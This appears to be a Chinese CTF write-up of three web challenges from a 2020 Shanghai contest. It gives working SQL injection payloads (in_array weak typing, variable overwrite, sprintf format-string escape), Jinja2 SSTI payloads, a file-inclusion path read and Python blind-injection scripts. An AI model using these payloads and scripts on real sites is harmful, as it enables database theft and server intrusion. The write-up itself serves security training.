2020 上海市网络安全大赛 web

千毒网盘

题目是后期复现的,无js,页面较丑
在这里插入图片描述
打开题目,直接看到一个表单,发现存在备份文件www.zip
发现index.php和code.php

in_array绕过

先看code.phpgetfile函数,此函数处理的是传入的参数进入数据库查询下载直链的过程,这里发现传入并没有经过任何的过滤,明显的存在SQL注入

 public function getfile()
    {
        
        $code = $_POST['code'];

        if($code === False) return '非法提取码!';
        $file_code = array(114514,233333,666666);
        
        if(in_array($code,$file_code))
        {
            $sql = "select * from file where code='$code'";
            $result = mysqli_query($this->mysqli,$sql);
            $result = mysqli_fetch_object($result);
            return '下载直链为:'.$result->url;
        }else{
            return '提取码不存在!';
        }
        
    }

}

但是传入的$code经过了in_array函数,也就是传入必须要是array(114514,233333,666666)中的值,但是我们发现,这里的in_array函数并未设置第三个参数true,导致可以弱类型绕过判断,在提取码后我们可以随意插入语句绕过判断
具体参考文章

然后我们需要去寻找何处调用了getfile函数,在index.php中定义了类之后调用了该函数,并且参数$code是由POST方法传入
但是看到$_POST[‘code’] 又经过了filter函数

if(isset($_POST['code'])) $_POST['code'] = $pan->filter($_POST['code']);
public function filter($string) 
    {
        $safe = preg_match('/union|select|flag|in|or|on|where|like|\'/is', $string);
        if($safe === 0){
            return $string;
        }else{
            return False;
        }
		    
    }

filter函数经过了严格的正则过滤,要想单纯的绕过较难

变量覆盖

利用的关键点在于以下的代码,存在变量覆盖漏洞,参考一篇类似的文章

foreach(array('_GET', '_POST', '_COOKIE') as $key)
			{
				if($$key) {
					foreach($$key as $key_2 => $value_2) {
						if(isset($$key_2) and $$key_2 == $value_2)
							unset($$key_2);
					}
				}
			}
测试一下,发现$$key_2==$value_2

所以unset($$key_2)就把$_POST变量销毁了,$_POST变量没了filter函数自然也就能通过了

继续执行extract(), 从数组中将变量导入到当前的符号表

if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);

执行这两句后$_POST变量又回来了

因为我们这里需要unset掉$_POST[code],则可以构造出payload

联合注入

GET:
?_POST[code]=114514abc'/**/union/**/select/**/1,(select/**/flag/**/from/**/flag)/**/limit/**/1,1/**/--+
POST:
code=114514abc'/**/union/**/select/**/1,(select/**/flag/**/from/**/flag)/**/limit/**/1,1/**/--+
在这里插入图片描述

布尔盲注

也可以布尔盲注,直接给末初学长的脚本

import requests,string
from urllib.parse import quote
from urllib.parse import unquote

ascii_str = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&'()*+,-./:;<=>?@[\]^_`{|}~"
url = 'http://eci-2zejdvvwkqa11t4d6ipa.cloudeci1.ichunqiu.com/index.php?_POST[code]='

post_header = {'Host': 'eci-2zejdvvwkqa11t4d6ipa.cloudeci1.ichunqiu.com',
               'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0',
               'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
               'Accept-Encoding': 'gzip, deflate',
               'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
               'Content-Type': 'application/x-www-form-urlencoded'}

for i in range(1,80):
    for j in ascii_str:
        payload = "114514'/**/and/**/ord(mid((select/**/flag/**/from/**/ctf.flag),{0},1))={1}#".format(i,ord(j))
        post_content = {'code':payload}
        res_url = url+quote(payload)
        res = requests.post(url=res_url,headers=post_header,data=post_content)
        #print(unquote(res.request.url))
        #print(unquote(res.request.body))
        #print(res.text)
        if 'png' in res.text:
            print(j,end="")

hello

访问/help base64 解码后得到源码

from flask import Flask,request,render_template
from jinja2 import Template
import os

app = Flask(__name__)

f = open('/flag','r')
flag = f.read()
@app.route('/',methods=['GET','POST'])
def home():
    name = request.args.get("name") or ""
    print(name)
    if name:
        return render_template('index.html',name=name)
    else:
        return render_template('index.html')

@app.route('/help',methods=['GET'])
def help():
    help = '''
    '''
        return f.read()

@app.errorhandler(404)
def page_not_found(e):
    #No way to get flag!
    os.system('rm -f /flag')
    url = name = request.args.get("name") or ""
    # r = request.path
    r = request.data.decode('utf8')
    if 'eval' in r or 'popen' in r or '{{' in r:
        t = Template(" Not found!")
        return render_template(t), 404
    t = Template(r + " Not found!")
    return render_template(t), 404


if __name__ == '__main__':
    app.run(host='0.0.0.0',port=8888)

很明显的考察jinjia2模板 SSTI注入

注入点

注入点位于404页面,代码如下

@app.errorhandler(404)
def page_not_found(e):
    #No way to get flag!
    os.system('rm -f /flag')
    url = name = request.args.get("name") or ""
    # r = request.path
    r = request.data.decode('utf8')
    if 'eval' in r or 'popen' in r or '{{' in r:
        t = Template(" Not found!")
        return render_template(t), 404
    t = Template(r + " Not found!")
    return render_template(t), 404

当页面状态码为404 时则进入到代码处,首先将flag文件删除了
r = request.data.decode('utf8')
这里接受了POST进去的值utf-8解码后并赋值给r
然后对r进行了判断,不可以存在’eval’、‘popen’、‘{{’ 字符
如果通过了过滤判断则会把输入的数据拼接Not found!放入到模板中,这里过滤不够严格,导致了存在SSTI

绕过与利用

这里虽然把/flag文件删除掉了,但是运行时就将/flag中的内容放入到了flag变量中

f = open('/flag','r')
flag = f.read()

因此这里并不需要get shell,只要能获取到flag变量就可以得到flag
这里还需要绕过‘{{’,不过我们还可以使用{% %},这样的标签,可以使用{% if %} {% else %} {% endif %}来构造paylaod
payload1:

import string,requests
if __name__ =='__main__':
    reg_str = string.ascii_lowercase + string.digits + string.ascii_uppercase + string.punctuation
    headers = {'Content-Type':'application/json'}
    Flag="flag{"
    url = "http://192.168.3.20:8888/asds"
    for i in range(100):
        for x in reg_str:
            data ='''{% if '[flag]'  in request.application.__self__._load_form_data.__globals__['json'].JSONEncoder.default.__globals__['current_app'].view_functions['home'].__globals__['flag'] %}1{% else %}0{% endif %}'''.replace('[flag]',Flag+x)
            html = requests.post(url,data=data,headers=headers).content
            if '1 Not found' in html:
                Flag = Flag + x
                print (Flag)
                break

在这里插入图片描述

payload2:
通过import是导入__main__主函数去读变量

#-*-codeing = utf-8 -*-
import requests
url = 'http://127.0.0.1:8888/asd'

for i in range(200):
    data="{%print [].__class__.__bases__[0].__subclasses__() ["+str(i)+"].__init__.__globals__['__builtins__']['__import__'] ('__main__').flag %}"
    res = requests.post(url=url,data=data)
    if "flag" in res.text:
        print("i=",i)
        print(res.text)
        break
Flask request.form和request.data的区别

这里最好通过python发包获取数据,参考下图
在这里插入图片描述

Try to login

文件包含读取敏感目录

根据页面源代码的注释,存在文件包含并且提示要用绝对路径读取文件
发现中间件是apache,在/etc/apache2/sites-available/000-default.conf中得到网站根目录
可以参考文件读取漏洞路径收集

file=/etc/apache2/sites-available/000-default.conf

读取apache2的Web根目录

DocumentRoot /var/www/secret_dir_2333/html

读取index.php文件和class.php

file=/var/www/secret_dir_2333/html/index.php

index.php

<?php
include 'class.php';
if(isset($_GET['file'])){
    if(preg_match('/flag/is',$_GET['file']) === 0){
        echo file_get_contents(''.$_GET['file']);
    }
}

if(isset($_POST['password'])){
    $user = new user;
    $login = $user->login();
    if($login)
    {
        echo "Success!";
    }
    else
    {
        echo "wrong!";
    }
}
?>

class.php

<?php 
#class.php
public function filter()
{
    $_POST['username'] = addslashes($_POST['username']);
    $_POST['password'] = addslashes($_POST['password']);
    $safe1 = preg_match('/inn|or/is', $_POST['username']); 
    $safe2 = preg_match('/inn|or/is', $_POST['password']); 
    if($safe1 === 0 and $safe2 === 0){
        return true;
    }else{
        die('no hacker!');
    }
}
public function login()
{
    $this->filter(); 
    $username = $_POST['username']; 
    $password = $_POST['password'];
    $sql = "select * from user where username='%s' and password='$password'"; 
    $sql = sprintf($sql,$username); 
    $result = mysqli_query($this->mysqli,$sql); 
    $result = mysqli_fetch_object($result);
    if ($result -> id){
        return 1;
    }else{
        return 0;
    }
}

filter函数对传入的参数进行了转义,导致我们无法正常注入非法语句,并且过滤掉inn or is这三个字符。

sprintf注入

可以观察到sql语句是由sprintf拼接而成的

$sql = "select * from user where username='%s' and password='$password'"; 
$sql = sprintf($sql,$username); 

在username位置格式化输入%1$',经过转义之后会变成%1$\',但是结合前面的%1$会让\被消除,导致'的逃逸。%后表示第几个参数,$表示参数类型。
在这里插入图片描述

sys系统库(mysql 5.7 新特性)

因为过滤了inn和or使用其他替代 如sys.schema_table_statistics
参考文章
exp:

username=%1$'||ascii(substr((select group_concat(table_name) from sys.schema_table_statistics where table_schema=database()),1,1))=1#

在这题中,可以尝试 --prefix加个前缀丢进sqlmap跑。

虽然是post

sqlmap -r /home/1.txt -p username --prefix="%1$’"

--prefix 前缀
--suffix 后缀
import requests
import time 

url='http://eci-2ze9e94upkcj26drdbjc.cloudeci1.ichunqiu.com/'
flag=''
for i in range(1,50):
    for j in range(34,127):
        data={'username':'admin', 'password':"%1$\\' || ascii(substr((select group_concat(table_name) from sys.schema_table_statistics where table_schema=database()),{},1))={}#".format(i,j)}
        print("password"+data['password'])
        rse = requests.post(url=url,data=data)
        if "Success!" in rse.text:
            flag = flag + chr(j)
            print(flag)
            break
        time.sleep(0.05)
print(flag)

跑出表名为fl4g,接下来跑flag

import requests
import string

url='http://eci-2ze9e94upkcj26drdbjc.cloudeci1.ichunqiu.com/'
s=string.ascii_letters+string.digits+"{-_}"
flag=''
for i in range(1,50):
	print("******************")
    for j in s:
        data={ 'username':'admin', 'password':"%1$\'||if(ascii(substr((select * from(fl4g)),{0},1))= {1},1,0)-- +".format(i,ord(j)) }
        print(data['password'])
        rse = requests.post(url=url,data=data)
        if "Success!" in rse.text:
            flag+=j
            print(flag)
            break
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值